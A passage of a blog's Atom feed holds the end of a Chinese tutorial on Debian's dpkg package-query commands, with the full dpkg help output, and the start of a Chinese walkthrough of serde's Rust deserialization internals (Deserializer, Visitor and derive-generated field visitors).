Homepage: https:&amp;#x2F;&amp;#x2F;www.fping.org&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;cha-kan-ruan-jian-bao-de-an-zhuang-wei-zhi&quot;&gt;查看软件包的安装位置&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;dpkg -L &amp;lt;package&amp;gt;` 或 `dpkg --list-files &amp;lt;package&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;$ dpkg -L fping
&amp;#x2F;.
&amp;#x2F;usr
&amp;#x2F;usr&amp;#x2F;bin
&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;fping
&amp;#x2F;usr&amp;#x2F;share
&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;bug
&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;bug&amp;#x2F;fping
&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;doc
&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;doc&amp;#x2F;fping
&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;doc&amp;#x2F;fping&amp;#x2F;NEWS.Debian.gz
&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;doc&amp;#x2F;fping&amp;#x2F;changelog.Debian.gz
&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;doc&amp;#x2F;fping&amp;#x2F;copyright
&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;lintian
&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;lintian&amp;#x2F;overrides
&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;lintian&amp;#x2F;overrides&amp;#x2F;fping
&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;man
&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;man&amp;#x2F;man8
&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;man&amp;#x2F;man8&amp;#x2F;fping.8.gz
&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;man&amp;#x2F;man8&amp;#x2F;fping6.8.gz
&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;fping6
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;shai-xuan-chu-bao-han-zhi-ding-wen-jian-mo-shi-de-ruan-jian-bao&quot;&gt;筛选出包含指定文件（模式）的软件包&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;dpkg -S &amp;lt;filename_pattern&amp;gt;` 或 `dpkg --search &amp;lt;filename_pattern&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;jsx&quot; class=&quot;language-jsx &quot;&gt;&lt;code class=&quot;language-jsx&quot; data-lang=&quot;jsx&quot;&gt;$ dpkg -S sites-available
apache2: &amp;#x2F;etc&amp;#x2F;apache2&amp;#x2F;sites-available&amp;#x2F;default-ssl.conf
apache2: &amp;#x2F;etc&amp;#x2F;apache2&amp;#x2F;sites-available&amp;#x2F;000-default.conf
nginx-common: &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;sites-available
nginx-common: &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;sites-available&amp;#x2F;default
apache2: &amp;#x2F;etc&amp;#x2F;apache2&amp;#x2F;sites-available
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;dpkg-can-shu&quot;&gt;dpkg 参数&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;xzongblogs&#x2F;p&#x2F;15535087.html#dpkg-%E5%8F%82%E6%95%B0&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;csharp&quot; class=&quot;language-csharp &quot;&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;root@Ubuntu20.04:~# dpkg --help
Usage: dpkg [&amp;lt;option&amp;gt; ...] &amp;lt;command&amp;gt;

Commands:
  -i|--install       &amp;lt;.deb file name&amp;gt;... | -R|--recursive &amp;lt;directory&amp;gt;...
  --unpack           &amp;lt;.deb file name&amp;gt;... | -R|--recursive &amp;lt;directory&amp;gt;...
  -A|--record-avail  &amp;lt;.deb file name&amp;gt;... | -R|--recursive &amp;lt;directory&amp;gt;...
  --configure        &amp;lt;package&amp;gt;... | -a|--pending
  --triggers-only    &amp;lt;package&amp;gt;... | -a|--pending
  -r|--remove        &amp;lt;package&amp;gt;... | -a|--pending
  -P|--purge         &amp;lt;package&amp;gt;... | -a|--pending
  -V|--verify [&amp;lt;package&amp;gt;...]       Verify the integrity of package(s).
  --get-selections [&amp;lt;pattern&amp;gt;...]  Get list of selections to stdout.
  --set-selections                 Set package selections from stdin.
  --clear-selections               Deselect every non-essential package.
  --update-avail [&amp;lt;Packages-file&amp;gt;] Replace available packages info.
  --merge-avail [&amp;lt;Packages-file&amp;gt;]  Merge with info from file.
  --clear-avail                    Erase existing available info.
  --forget-old-unavail             Forget uninstalled unavailable pkgs.
  -s|--status [&amp;lt;package&amp;gt;...]       Display package status details.
  -p|--print-avail [&amp;lt;package&amp;gt;...]  Display available version details.
  -L|--listfiles &amp;lt;package&amp;gt;...      List files &amp;#x27;owned&amp;#x27; by package(s).
  -l|--list [&amp;lt;pattern&amp;gt;...]         List packages concisely.
  -S|--search &amp;lt;pattern&amp;gt;...         Find package(s) owning file(s).
  -C|--audit [&amp;lt;package&amp;gt;...]        Check for broken package(s).
  --yet-to-unpack                  Print packages selected for installation.
  --predep-package                 Print pre-dependencies to unpack.
  --add-architecture &amp;lt;arch&amp;gt;        Add &amp;lt;arch&amp;gt; to the list of architectures.
  --remove-architecture &amp;lt;arch&amp;gt;     Remove &amp;lt;arch&amp;gt; from the list of architectures.
  --print-architecture             Print dpkg architecture.
  --print-foreign-architectures    Print allowed foreign architectures.
  --assert-&amp;lt;feature&amp;gt;               Assert support for the specified feature.
  --validate-&amp;lt;thing&amp;gt; &amp;lt;string&amp;gt;      Validate a &amp;lt;thing&amp;gt;&amp;#x27;s &amp;lt;string&amp;gt;.
  --compare-versions &amp;lt;a&amp;gt; &amp;lt;op&amp;gt; &amp;lt;b&amp;gt;  Compare version numbers - see below.
  --force-help                     Show help on forcing.
  -Dh|--debug=help                 Show help on debugging.

  -?, --help                       Show this help message.
      --version                    Show the version.

Assertable features: support-predepends, working-epoch, long-filenames,
  multi-conrep, multi-arch, versioned-provides.

Validatable things: pkgname, archname, trigname, version.

Use dpkg with -b, --build, -c, --contents, -e, --control, -I, --info,
  -f, --field, -x, --extract, -X, --vextract, --ctrl-tarfile, --fsys-tarfile
on archives (type dpkg-deb --help).

Options:
  --admindir=&amp;lt;directory&amp;gt;     Use &amp;lt;directory&amp;gt; instead of &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;dpkg.
  --root=&amp;lt;directory&amp;gt;         Install on a different root directory.
  --instdir=&amp;lt;directory&amp;gt;      Change installation dir without changing admin dir.
  --path-exclude=&amp;lt;pattern&amp;gt;   Do not install paths which match a shell pattern.
  --path-include=&amp;lt;pattern&amp;gt;   Re-include a pattern after a previous exclusion.
  -O|--selected-only         Skip packages not selected for install&amp;#x2F;upgrade.
  -E|--skip-same-version     Skip packages whose same version is installed.
  -G|--refuse-downgrade      Skip packages with earlier version than installed.
  -B|--auto-deconfigure      Install even if it would break some other package.
  --[no-]triggers            Skip or force consequential trigger processing.
  --verify-format=&amp;lt;format&amp;gt;   Verify output format (supported: &amp;#x27;rpm&amp;#x27;).
  --no-debsig                Do not try to verify package signatures.
  --no-act|--dry-run|--simulate
                             Just say what we would do - don&amp;#x27;t do it.
  -D|--debug=&amp;lt;octal&amp;gt;         Enable debugging (see -Dhelp or --debug=help).
  --status-fd &amp;lt;n&amp;gt;            Send status change updates to file descriptor &amp;lt;n&amp;gt;.
  --status-logger=&amp;lt;command&amp;gt;  Send status change updates to &amp;lt;command&amp;gt;&amp;#x27;s stdin.
  --log=&amp;lt;filename&amp;gt;           Log status changes and actions to &amp;lt;filename&amp;gt;.
  --ignore-depends=&amp;lt;package&amp;gt;,...
                             Ignore dependencies involving &amp;lt;package&amp;gt;.
  --force-...                Override problems (see --force-help).
  --no-force-...|--refuse-...
                             Stop when problems encountered.
  --abort-after &amp;lt;n&amp;gt;          Abort after encountering &amp;lt;n&amp;gt; errors.

Comparison operators for --compare-versions are:
  lt le eq ne ge gt       (treat empty version as earlier than any version);
  lt-nl le-nl ge-nl gt-nl (treat empty version as later than any version);
  &amp;lt; &amp;lt;&amp;lt; &amp;lt;= = &amp;gt;= &amp;gt;&amp;gt; &amp;gt;       (only for compatibility with control file syntax).

Use &amp;#x27;apt&amp;#x27; or &amp;#x27;aptitude&amp;#x27; for user-friendly package management.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;dpkg-query&quot;&gt;dpkg-query&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;xzongblogs&#x2F;p&#x2F;15535087.html#dpkg-query&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;在软件包查询方面还有一个软件&lt;code&gt;dpkg-query&lt;&#x2F;code&gt;和&lt;code&gt;dpkg&lt;&#x2F;code&gt;有相同的功能,具体可参考：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;my-show-time&#x2F;p&#x2F;15534832.html&quot;&gt;dpkg-query 命令&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-kao-zi-liao&quot;&gt;参考资料&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;xzongblogs&#x2F;p&#x2F;15535087.html#%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;links.jianshu.com&#x2F;go?to=https%3A%2F%2Fwww.tecmint.com%2Fdpkg-command-examples%2F&quot;&gt;15 Practical Examples of “dpkg commands” for Debian Based Distros&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.jianshu.com&#x2F;p&#x2F;6432015c52a6&quot;&gt;Linux软件安装管理之——dpkg与apt-*详解&lt;&#x2F;a&gt;
原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.jianshu.com&#x2F;p&#x2F;2ec0f4b945a2&quot;&gt;https:&#x2F;&#x2F;www.jianshu.com&#x2F;p&#x2F;2ec0f4b945a2&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>serde你在干什么:deserialize</title>
        <published>2024-07-17T00:00:00+00:00</published>
        <updated>2024-07-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/serde你在干什么-deserialize/"/>
        <id>https://vercel.juzhong.asia/obsidian/serde你在干什么-deserialize/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/serde你在干什么-deserialize/">&lt;h1 id=&quot;serdeni-zai-gan-shen-me-deserialize&quot;&gt;serde你在干什么:deserialize&lt;&#x2F;h1&gt;
&lt;p&gt;出处：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;aptend.github.io&#x2F;2020&#x2F;01&#x2F;06&#x2F;serde-what-are-you-doing-de-part1&#x2F;&quot;&gt;https:&#x2F;&#x2F;aptend.github.io&#x2F;2020&#x2F;01&#x2F;06&#x2F;serde-what-are-you-doing-de-part1&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;serde 源码解析 | Deserialization篇 第一部分&lt;&#x2F;p&gt;
&lt;p&gt;有了serialize的基础，知道了&lt;code&gt;serde data model&lt;&#x2F;code&gt;大概的定位，也知道了访问者模式的应用，接着理解deserialize会更容易一些。&lt;&#x2F;p&gt;
&lt;p&gt;以&lt;code&gt;serde data model&lt;&#x2F;code&gt;为基础，&lt;code&gt;Serialize&lt;&#x2F;code&gt;是引导者的角色，引导&lt;code&gt;Serde::ser::Serilaizer&lt;&#x2F;code&gt;的实现者&lt;code&gt;serializer&lt;&#x2F;code&gt;去参观内存中的数据，帮助&lt;code&gt;serializer&lt;&#x2F;code&gt;完成序列化。&lt;&#x2F;p&gt;
&lt;p&gt;现在反序列化，角色关系更加复杂一层。除了&lt;code&gt;Serde::Deserialize&lt;&#x2F;code&gt;，&lt;code&gt;Serde::Deserializer&lt;&#x2F;code&gt;，还多一个&lt;code&gt;Serde::Visitor&lt;&#x2F;code&gt;。&lt;code&gt;Serde::Deserialize&lt;&#x2F;code&gt;依然是最高级引导者，提示&lt;code&gt;Serde::Deserializer&lt;&#x2F;code&gt;去认识已被序列化的数据，并且交给它一个&lt;code&gt;Serde::Visitor&lt;&#x2F;code&gt;，随后&lt;code&gt;Serde::Deserializer&lt;&#x2F;code&gt;则利用得到的&lt;code&gt;Serde::Visitor&lt;&#x2F;code&gt;，为其提供数据，帮助它在内存中构建各种数据结构。&lt;&#x2F;p&gt;
&lt;p&gt;有了这个大方向，让我们开始瞅瞅反序列化的过程。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gu-shi-kai-shi&quot;&gt;故事开始&lt;&#x2F;h2&gt;
&lt;p&gt;也从反序列化的源头开始，也就是&lt;code&gt;from_str&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; de.rs
pub fn from_str&amp;lt;&amp;#x27;a, T&amp;gt;(s: &amp;amp;&amp;#x27;a str) -&amp;gt; Result&amp;lt;T&amp;gt;
where
    T: Deserialize&amp;lt;&amp;#x27;a&amp;gt;,
{
    let mut deserializer = Deserializer::from_str(s);
    let t = T::deserialize(&amp;amp;mut deserializer)?;
    if deserializer.input.is_empty() {
        Ok(t)
    } else {
        Err(Error::TrailingCharacters)
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;from_str&lt;&#x2F;code&gt;首先初始化了叫&lt;code&gt;crate::Deserializer&lt;&#x2F;code&gt;的结构，该结构实现了&lt;code&gt;serde::Deserializer&lt;&#x2F;code&gt; trait，初始化方法是&lt;code&gt;from_str&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;pub struct Deserializer&amp;lt;&amp;#x27;de&amp;gt; {
    input: &amp;amp;&amp;#x27;de str,
}

impl&amp;lt;&amp;#x27;de&amp;gt; Deserializer&amp;lt;&amp;#x27;de&amp;gt; {
    pub fn from_str(input: &amp;amp;&amp;#x27;de str) -&amp;gt; Self {
        Deserializer { input }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从这里我们能得出两个结论：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;sub&gt;“本直播间允许套娃”&lt;&#x2F;sub&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;deserializer&lt;&#x2F;code&gt;拥有反序列化的数据(或数据引用)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;然后就将创建的&lt;code&gt;deserializer&lt;&#x2F;code&gt;传给一个&lt;code&gt;Deserialize-thing&lt;&#x2F;code&gt;（&lt;code&gt;-thing&lt;&#x2F;code&gt;的写法表示实现某个trait的实例），也就是T，而T在我们编写下列语句时，就已经被推断为&lt;code&gt;Command&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;let de_cmd: Command = from_str(&amp;amp;ser_cmd).unwrap();
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所以魔法发生在语句&lt;code&gt;let t = T::deserialize(&amp;amp;mut deserializer)?;&lt;&#x2F;code&gt;里面。&lt;&#x2F;p&gt;
&lt;p&gt;至此我们知道，给&lt;code&gt;T::deserialize&lt;&#x2F;code&gt;一个合适的&lt;code&gt;deserializer&lt;&#x2F;code&gt;，它就会返回一个T类型的实例。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shui-cai-shi-gong-ju-ren&quot;&gt;谁才是工具人？&lt;&#x2F;h2&gt;
&lt;p&gt;一般来讲，被当作参数传入的，很大可能是工具人，就像序列化过程中写作文的&lt;code&gt;serializer&lt;&#x2F;code&gt;。类比一下，&lt;code&gt;deserializer&lt;&#x2F;code&gt;差不多也是个工具人，供&lt;code&gt;serde::Deserialize&lt;&#x2F;code&gt;差遣。不过，&lt;code&gt;deserializer&lt;&#x2F;code&gt;并不是反序列化中最底层的工具人。最终在内存中复现数据结构的，是一个叫做&lt;code&gt;visitor&lt;&#x2F;code&gt;的工具人，被&lt;code&gt;serde::Deserialize&lt;&#x2F;code&gt;构造，然后交给&lt;code&gt;deserializer&lt;&#x2F;code&gt;使用。&lt;&#x2F;p&gt;
&lt;p&gt;具体一点，&lt;code&gt;T::deserialize&lt;&#x2F;code&gt;要干的事情：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;根据T自身的类型，参照&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;serde.rs&#x2F;data-model.html&quot;&gt;Serde data model&lt;&#x2F;a&gt;，调用&lt;code&gt;deserializer&lt;&#x2F;code&gt;的某个&lt;code&gt;deserialize_*&lt;&#x2F;code&gt;方法，提示&lt;code&gt;deserializer&lt;&#x2F;code&gt;接下来的数据可能是由哪种&lt;code&gt;serde data model&lt;&#x2F;code&gt;序列化而来，你视情况对input做相关的parsing工作，形成一些基础的数据类型。&lt;&#x2F;li&gt;
&lt;li&gt;调用时，提供一个&lt;code&gt;Visitor-thing&lt;&#x2F;code&gt;，&lt;code&gt;deserializer&lt;&#x2F;code&gt;则调用该&lt;code&gt;visitor&lt;&#x2F;code&gt;的某个&lt;code&gt;visit_*&lt;&#x2F;code&gt;方法，传入经过提示后解析出来的数据，让&lt;code&gt;visitor&lt;&#x2F;code&gt;完成数据结构在内存中的重现。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;要明白这个过程，不妨先看&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.serde.rs&#x2F;serde&#x2F;de&#x2F;trait.Visitor.html&quot;&gt;Visitor&lt;&#x2F;a&gt; trait的定义，一个&lt;code&gt;visitor&lt;&#x2F;code&gt;，从诞生起，命运就和&lt;code&gt;Value&lt;&#x2F;code&gt;类型绑定在一起，终其一生，都是个不折不扣的工具人，每个方法，都是一条操作规则，比如，如果放一个&lt;code&gt;bool&lt;&#x2F;code&gt;值到&lt;code&gt;visitor&lt;&#x2F;code&gt;眼前，他就如此这般，产生一个&lt;code&gt;Value&lt;&#x2F;code&gt;；如果放一个&lt;code&gt;SeqAccess&lt;&#x2F;code&gt;结构到&lt;code&gt;visitor&lt;&#x2F;code&gt;眼前， 他就这样那样，产生一个&lt;code&gt;Value&lt;&#x2F;code&gt;。&lt;code&gt;Visitor&lt;&#x2F;code&gt; trait的每个规则的默认实现，是抛出Error::invalid_type，表明&lt;code&gt;Value&lt;&#x2F;code&gt;不能由眼前的数据转换而来。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;pub trait Visitor&amp;lt;&amp;#x27;de&amp;gt;: Sized {
    type Value;
    fn expecting(&amp;amp;self, formatter: &amp;amp;mut Formatter) -&amp;gt; Result;

    fn visit_bool&amp;lt;E&amp;gt;(self, v: bool) -&amp;gt; Result&amp;lt;Self::Value, E&amp;gt;
    where
        E: Error,
    { ... }
   	...
    fn visit_str&amp;lt;E&amp;gt;(self, v: &amp;amp;str) -&amp;gt; Result&amp;lt;Self::Value, E&amp;gt;
    where
        E: Error,
    { ... }
    ...
    fn visit_seq&amp;lt;A&amp;gt;(self, seq: A) -&amp;gt; Result&amp;lt;Self::Value, A::Error&amp;gt;
    where
        A: SeqAccess&amp;lt;&amp;#x27;de&amp;gt;,
    { ... }
    fn visit_map&amp;lt;A&amp;gt;(self, map: A) -&amp;gt; Result&amp;lt;Self::Value, A::Error&amp;gt;
    where
        A: MapAccess&amp;lt;&amp;#x27;de&amp;gt;,
    { ... }
    fn visit_enum&amp;lt;A&amp;gt;(self, data: A) -&amp;gt; Result&amp;lt;Self::Value, A::Error&amp;gt;
    where
        A: EnumAccess&amp;lt;&amp;#x27;de&amp;gt;,
    { ... }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;为了更好理解&lt;code&gt;visitor&lt;&#x2F;code&gt;，来看&lt;code&gt;derive_de.rs&lt;&#x2F;code&gt;文件，一部分代码如下，作用是根据数据生成具体的枚举标志符，表示&lt;code&gt;get, set, rm, quit&lt;&#x2F;code&gt;中的哪一个(这么做是为了避免复制为String，提高效率)。这里训练了一个叫做&lt;code&gt;__FieldVisitor&lt;&#x2F;code&gt;的工具人，专门产生&lt;code&gt;__Field&lt;&#x2F;code&gt;类型。一个&lt;code&gt;__Field&lt;&#x2F;code&gt;可以来自于u64、str、bytes，转换逻辑都很直白，match就完事儿了&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[allow(non_camel_case_types)]
enum __Field {
    __field0,
    __field1,
    __field2,
    __field3,
}
struct __FieldVisitor;
impl&amp;lt;&amp;#x27;de&amp;gt; _serde::de::Visitor&amp;lt;&amp;#x27;de&amp;gt; for __FieldVisitor {
    type Value = __Field;
    fn expecting(
        &amp;amp;self,
        __formatter: &amp;amp;mut _serde::export::Formatter,
    ) -&amp;gt; _serde::export::fmt::Result {
        _serde::export::Formatter::write_str(__formatter, &amp;quot;variant identifier&amp;quot;)
    }
    fn visit_u64&amp;lt;__E&amp;gt;(self, __value: u64) -&amp;gt; _serde::export::Result&amp;lt;Self::Value, __E&amp;gt;
    where
    __E: _serde::de::Error,
    {
        match __value {
            0u64 =&amp;gt; _serde::export::Ok(__Field::__field0),
            1u64 =&amp;gt; _serde::export::Ok(__Field::__field1),
            2u64 =&amp;gt; _serde::export::Ok(__Field::__field2),
            3u64 =&amp;gt; _serde::export::Ok(__Field::__field3),
            _ =&amp;gt; _serde::export::Err(_serde::de::Error::invalid_value(
                _serde::de::Unexpected::Unsigned(__value),
                &amp;amp;&amp;quot;variant index 0 &amp;lt;= i &amp;lt; 4&amp;quot;,
            )),
        }
    }
    fn visit_str&amp;lt;__E&amp;gt;(self, __value: &amp;amp;str) -&amp;gt; _serde::export::Result&amp;lt;Self::Value, __E&amp;gt;
    where
    __E: _serde::de::Error,
    {
        match __value {
            &amp;quot;Set&amp;quot; =&amp;gt; _serde::export::Ok(__Field::__field0),
            &amp;quot;Get&amp;quot; =&amp;gt; _serde::export::Ok(__Field::__field1),
            &amp;quot;Rm&amp;quot; =&amp;gt; _serde::export::Ok(__Field::__field2),
            &amp;quot;Quit&amp;quot; =&amp;gt; _serde::export::Ok(__Field::__field3),
            _ =&amp;gt; _serde::export::Err(_serde::de::Error::unknown_variant(
                __value, VARIANTS,
            )),
        }
    }
    fn visit_bytes&amp;lt;__E&amp;gt;(
        self,
        __value: &amp;amp;[u8],
    ) -&amp;gt; _serde::export::Result&amp;lt;Self::Value, __E&amp;gt;
    where
    __E: _serde::de::Error,
    {
        match __value {
            b&amp;quot;Set&amp;quot; =&amp;gt; _serde::export::Ok(__Field::__field0),
            b&amp;quot;Get&amp;quot; =&amp;gt; _serde::export::Ok(__Field::__field1),
            b&amp;quot;Rm&amp;quot; =&amp;gt; _serde::export::Ok(__Field::__field2),
            b&amp;quot;Quit&amp;quot; =&amp;gt; _serde::export::Ok(__Field::__field3),
            _ =&amp;gt; {
                let __value = &amp;amp;_serde::export::from_utf8_lossy(__value);
                _serde::export::Err(_serde::de::Error::unknown_variant(
                    __value, VARIANTS,
                ))
            }
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;余下的未实现的&lt;code&gt;visit_*&lt;&#x2F;code&gt;就保持默认实现，抛出错误，表明无法完成转换。&lt;&#x2F;p&gt;
&lt;p&gt;现在有了这个工具人，自然就可以为&lt;code&gt;__Field&lt;&#x2F;code&gt;实现&lt;code&gt;Deserialize&lt;&#x2F;code&gt; trait，派出工具人去执行任务，所以上面的代码，紧接着的就是&lt;code&gt;Deserialize&lt;&#x2F;code&gt;  trait的实现：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;impl&amp;lt;&amp;#x27;de&amp;gt; _serde::Deserialize&amp;lt;&amp;#x27;de&amp;gt; for __Field {
    #[inline]
    fn deserialize&amp;lt;__D&amp;gt;(__deserializer: __D) -&amp;gt; _serde::export::Result&amp;lt;Self, __D::Error&amp;gt;
    where
    __D: _serde::Deserializer&amp;lt;&amp;#x27;de&amp;gt;,
    {
        _serde::Deserializer::deserialize_identifier(__deserializer, __FieldVisitor)
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;故事开始时，我们知道，给&lt;code&gt;T::deserialize&lt;&#x2F;code&gt;一个合适的&lt;code&gt;deserializer&lt;&#x2F;code&gt;，它就会返回一个T类型的实例。所以为&lt;code&gt;__Field&lt;&#x2F;code&gt;实现&lt;code&gt;Deserialize&lt;&#x2F;code&gt;  trait的意思就是，给&lt;code&gt;__Field&lt;&#x2F;code&gt;写一个&lt;code&gt;deserialize&lt;&#x2F;code&gt;方法，保证调用&lt;code&gt;__Field::deserialze(&amp;amp;mut deserializer)&lt;&#x2F;code&gt;之后，会返回一个&lt;code&gt;__Field::__field0&lt;&#x2F;code&gt;或者&lt;code&gt;__filed1&lt;&#x2F;code&gt;等等。&lt;&#x2F;p&gt;
&lt;p&gt;我们发现，具体的实现其实非常简单，就是调用传入的&lt;code&gt;deserializer&lt;&#x2F;code&gt;的 &lt;code&gt;deserialize_identifier&lt;&#x2F;code&gt;方法，并且为其提供刚才构造的&lt;code&gt;__FieldVisitor&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;deserialize_identifier&lt;&#x2F;code&gt;在这儿被使用，因为我们知道&lt;code&gt;__Field&lt;&#x2F;code&gt;的实质，是结构体字段、枚举的标识。所以我们&lt;strong&gt;提示&lt;&#x2F;strong&gt;&lt;code&gt;deserializer&lt;&#x2F;code&gt;我们需要的是一个标识，具体&lt;code&gt;deserializer&lt;&#x2F;code&gt;怎么处理，不同的数据格式都有自己的说法。比如这里的json知道，哦，标识啊，当初序列化时就直接把它当成字符串对待了，所以接下来的input数据，应该会以字符串开头，所以&lt;code&gt;deserializer&lt;&#x2F;code&gt;直接交给字符串的反序列化去处理。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn deserialize_identifier&amp;lt;V&amp;gt;(self, visitor: V) -&amp;gt; Result&amp;lt;V::Value&amp;gt;
where
	V: Visitor&amp;lt;&amp;#x27;de&amp;gt;,
{
    self.deserialize_str(visitor)
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而&lt;code&gt;deserialize_str&lt;&#x2F;code&gt;的实现中，主要做了两个工作：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;把接下来的input数据解析出一个字符串，也就是期待input以引号开头，&lt;code&gt;&quot;xxx&quot;&lt;&#x2F;code&gt;，解析出&lt;code&gt;xxx&lt;&#x2F;code&gt;，如果顺利，&lt;code&gt;xxx&lt;&#x2F;code&gt;应该是&lt;code&gt;Set、Get、Rm、Quit&lt;&#x2F;code&gt;中的一个。&lt;&#x2F;li&gt;
